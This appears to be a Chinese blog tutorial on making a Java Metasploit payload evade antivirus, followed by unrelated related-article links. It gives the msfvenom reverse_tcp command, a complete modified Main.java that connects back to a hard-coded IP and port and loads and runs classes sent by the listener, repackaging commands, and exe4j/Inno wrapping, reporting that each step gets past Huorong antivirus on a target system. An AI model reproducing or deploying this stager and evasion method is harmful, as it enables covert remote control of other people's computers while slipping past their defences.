免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE

Shellcode- 生成 / 上线

1.msf生成shellcode

命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f jar -o msf.jar

2.msf设置监听

3.执行msf生成的shellcode jar包,成功上线

命令:java -jar msf.jar

4.上传到目标系统,直接被火绒检测出木马

java 免杀 - 修改源码进行免杀

1.点击启动jd-gui,将生成的msf.jar拖入其中进行反编译,点击file---save all sources导出反编译后的内容

下载jd-gui:https://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar

2.将导出的内容进行修改,然后在进行打包

修改后内容:

文件名:META-INF\MANIFEST.MF:

java 复制代码
Manifest-Version: 1.0
Class-Path: .
Main-Class: Main

文件名:config:1

文件名:Main.java:修改其中的ip和端口

java 复制代码
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Main
  extends ClassLoader
{
  private static final String JAVA = String.valueOf(System.getProperty("java.home")) + "/bin/java.exe";
  
  public static void main(String[] paramArrayOfString) throws Exception { runInBackground(); }

  
  public static void runInBackground() throws Exception {
    Class<Main> clazz = Main.class;
    File file1 = File.createTempFile("~spawn", ".tmp");
    file1.delete();
    File file2 = new File(String.valueOf(file1.getAbsolutePath()) + ".dir");
    file2.mkdir();
    File file3 = new File(file2, String.valueOf(clazz.getName().replace(".", "/")) + ".class");
    File file4 = new File(file2, "config");
    if (readFile(Main.class, "config").equals("1")) {
      writeFile(null, "config", file2, false, "0");
      writeFile(clazz, String.valueOf(clazz.getName().replace(".", "/")) + ".class", file2, true, null);
    } else {
      
      getShell();
    } 
    Runtime.getRuntime().exec(new String[] { JAVA, "-classpath", file2.getAbsolutePath(), clazz.getName() });
    Thread.sleep(2000L);
    File[] files = { file3, file4, file2 }; byte b; int i; File[] arrayOfFile;
    for (i = (arrayOfFile = files).length, b = 0; b < i; ) { File f = arrayOfFile[b]; f.delete(); b++; }
  
  }
  public static void writeFile(Class clazz, String name, File dir, boolean ifIsfile, String config) throws IOException {
    InputStream inputStream = null;
    if (ifIsfile) inputStream = clazz.getResourceAsStream("/" + name); 
    File file = new File(dir, name);
    file.getParentFile().mkdirs();
    FileOutputStream fileOutputStream = new FileOutputStream(file);
    byte[] b = new byte[4096];
    if (ifIsfile) {
      int i;
      while ((i = inputStream.read(b)) != -1) {
        fileOutputStream.write(b, 0, i);
      }
    } else {
      fileOutputStream.write(config.getBytes());
    } 
    if (inputStream != null) inputStream.close(); 
    fileOutputStream.close();
  }
  public static String readFile(Class clazz, String name) throws IOException {
    InputStream inputStream = clazz.getResourceAsStream("/" + name);
    StringBuffer str = new StringBuffer();
    byte[] b = new byte[1024];
    int i;
    while ((i = inputStream.read(b)) != -1) {
      str.append(new String(b, 0, i));
    }
    inputStream.close();
    return str.toString();
  }
  public static void getShell() throws Exception {
    InputStream inputStream1 = null;
    OutputStream outputStream = null;
    int j = (new Integer("4444")).intValue();
    String str4 = "192.168.206.129";
    Socket socket = null;
    if (str4 != null) {
      socket = new Socket(str4, j);
    }
    inputStream1 = socket.getInputStream();
    outputStream = socket.getOutputStream();
    (new Main()).bootstrap(inputStream1, outputStream);
  }
  
  private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
    try {
      Class<?> clazz;
      DataInputStream dataInputStream = new DataInputStream(paramInputStream);
      int i = dataInputStream.readInt();
      do {
        byte[] arrayOfByte = new byte[i];
        dataInputStream.readFully(arrayOfByte);
        resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));
        i = dataInputStream.readInt();
      } while (i > 0);
      Object object = clazz.newInstance();
      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });
    } catch (Throwable throwable) {
    }
  }
}

打包命令:javac Main.java

3.执行命令,重新编译为jar包

命令:jar cvfm 名称.jar META-INF/MANIFEST.MF .

4.将jar包上传到目标系统,成功绕过火绒查杀

5.执行jar包,msf成功上线

Java 免杀 -J AR包打包EXE执行免杀

将jar打包成exe教程:https://www.jb51.net/article/236000.htm

需要使用的工具:

exe4j-下载链接:https://exe4j.apponic.com/

inno-下载链接:https://jrsoftware.org/isdl.php

一、需要jdk环境才能运行的exe

1.使用exe4j将msf生成的jar打包成exe程序,成功绕过火绒

2.在目标系统有jdk环境的情况下,执行成功上线

二、不需要jdk环境也能运行的exe

1.将exe4j打包的exe程序再使用inno工具和jdk环境打包合并到一起,将文件上传目标系统,成功绕过检测

注:什么jB作用没有。

相关推荐
SiMmming11 分钟前
从0到1部署Tomcat和添加servlet(IDEA2024最新版详细教程)
java·ide·tomcat·intellij-idea·web
gaogao_jack13 分钟前
[Leetcode小记] 3233. 统计不是特殊数字的数字数量
java·算法·leetcode
可乐加.糖18 分钟前
RabbitMQ和RocketMQ相关面试题
java·rabbitmq·rocketmq·ruby·java-rabbitmq
小菜日记^_^22 分钟前
Maven高级篇
java·spring boot·后端·spring·maven·intellij-idea·mybatis
小杨4041 小时前
高级并发编程系列七(锁入门)
java·后端·性能优化
计算机毕设指导61 小时前
基于SpringBoot的教学辅助平台系统【附源码】
java·spring boot·后端·mysql·spring·tomcat·mybatis
两眼墨黑1 小时前
规则引擎aviatorEvaluator注意点
java
时差9531 小时前
使用flink编写WordCount
java·大数据·开发语言·flink
Jason-河山1 小时前
利用Java爬虫获取商品评论:技术与实践
java·爬虫·python
500了1 小时前
Android和Java的发布/订阅事件总线EventBus
android·java·开发语言